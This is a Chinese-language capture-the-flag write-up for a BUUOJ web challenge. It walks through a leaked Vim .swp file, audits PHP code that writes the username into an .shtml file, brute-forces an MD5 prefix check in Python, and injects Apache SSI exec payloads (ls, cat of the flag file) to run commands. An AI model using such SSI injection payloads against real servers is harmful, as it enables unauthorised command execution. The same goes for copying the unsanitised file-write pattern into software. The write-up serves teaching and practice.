知識點:
? ? ? ? 1.swp泄露
? ? ? ? 2.md5碰撞
? ? ? ? 3.PHP代碼審計
? ? ? ? 4.SSI代碼執行漏洞? //?Apache SSI 遠程命令執行漏洞復現
看著像sql注入,不過注入無果,掃一下目錄試試~
發現是swp泄露.
SWP文件泄露漏洞是指在使用 Vim編輯器 編輯一個文件時,Vim會在同一目錄下創建一個以".swp"結尾的臨時文件來保存編輯過程中的變化,如果在編輯過程中Vim進程被意外終止或者用戶沒有正確地退出Vim,那么這個臨時文件可能會被留下來,如果攻擊者能夠訪問這個臨時文件就可以獲得原始文件的敏感信息,從而導致信息泄露,需要注意的是不同的操作失敗次數將會導致產生不同后綴的交互文件,例如:index.php第一次產生的交換文件名為.index.php.swp,再次意外退出后將會產生名為.index.php.swo的交換文件,第三次產生的交換文件則為.index.php.swn?
開始代碼審計~?
<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }// 設置響應的Content-Type頭部信息為text/html,并指定字符編碼為utf-8header("Content-Type: text/html;charset=utf-8");//檢查用戶是否提交了表單且username字段不為空if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';// 驗證用戶密碼是否匹配管理員密碼if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>"; // 輸出歡迎消息// 創建一個以生成的哈希值為文件名的.shtml文件$file_shtml = "public/".get_hash().".shtml";// 打開文件用于寫入,如果打開失敗則輸出錯誤信息并終止腳本執行$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******'; // 組裝要寫入文件的內容// 將內容寫入文件fwrite($shtml,$text);// 關閉文件fclose($shtml);***echo "[!] Header error ..."; // 輸出錯誤消息} else {echo "<script>alert('[!] Failed')</script>"; // 輸出驗證失敗消息}} else {// 如果用戶名為空,則執行此部分邏輯***}***
?>
意思就是他會檢查傳入的password的值,如果password的md5值的前6位等于6d0bc1那就就會執行命令將輸入的username寫入到一個隨機數生成的shtml文件中,并輸入header error 的錯誤信息。
我們我們首先要做的就是使password符合要求,可以使用如下python代碼來找出符合要求的password.
from hashlib import md5for i in range(10000000):if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':print(i)
執行結果如下~
繞過md5后,我們繼續分析~
繞過md5后,他將我們傳入的username寫入到了shtml文件里面.
知識點:
當目標服務器開啟了SSI與CGI支持,我們就可以上傳shtml,利用<!--#exec cmd=”id” -->語法執行命令。
SSI 是一種在 HTML 頁面中嵌入服務器端腳本的技術,允許在服務器將頁面發送給客戶端之前,動態地生成內容。它主要用于在頁面中包含其他文件的內容,或者執行一些簡單的服務器端邏輯(如設置日期和時間)。
SSI 的?
exec
?命令可以執行服務器上的命令,但它的使用受到嚴格限制,主要是因為安全原因。大多數服務器配置中,exec
?命令是被禁用的,或者僅限于具有特定權限的用戶或目錄。此外,即使?exec
?被啟用,它也通常不會直接暴露給普通用戶或不受信任的上傳目錄。
意思就是 username是個注入點,我們可以控制username的內容來實現遠程代碼執行漏洞.
而username的格式是<!--#exec cmd=”id” -->.
那么讓我們開始構造payload.
http://4a82f262-3696-46d7-b36f-d6072db967d8.node5.buuoj.cn:81/username=<!--#exec cmd="ls ../"--> & password=2020666
這里提示header error 那么看一下~
發現了我們寫入的shtml文件的位置,去訪問一下.?
發現flag文件,重復上面的操作來讀取flag.
http://4a82f262-3696-46d7-b36f-d6072db967d8.node5.buuoj.cn:81/username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"--> & password=2020666